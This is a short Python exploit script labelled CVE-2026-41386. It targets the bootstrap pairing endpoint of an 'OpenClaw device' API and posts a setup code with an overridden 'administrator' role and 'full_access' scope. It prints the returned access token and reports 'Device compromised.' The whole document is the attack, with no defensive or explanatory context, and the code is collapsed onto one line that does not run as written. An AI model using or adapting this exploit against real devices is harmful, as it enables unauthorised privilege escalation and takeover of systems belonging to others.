CVE-2026-41386

import requests import json # Target OpenClaw device API endpoint # Exploit for CVE-2026-41386: Privilege Escalation via Unbound Bootstrap Setup Codes target_url = "http://target-device:8080/api/v1/pairing/bootstrap" # Malicious payload to escalate privileges during pairing # The vulnerability allows binding any role to a valid setup code payload = { "setup_code": "VALID_BOOTSTRAP_CODE", # Valid code obtained or guessed during pairing "role": "administrator", # Intended role override (Escalation) "scope": "full_access" # Expanded scope beyond intended limits } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-41386-Exploit" } try: # Send POST request to initiate pairing with escalated privileges print("[*] Attempting to exploit CVE-2026-41386...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: result = response.json() print("[+] Privilege escalation successful!") print(f"[+] Granted Role: {result.get('role')}") print(f"[+] Access Token: {result.get('token')}") print("[+] Device compromised.") else: print("[-] Exploit failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {str(e)}")

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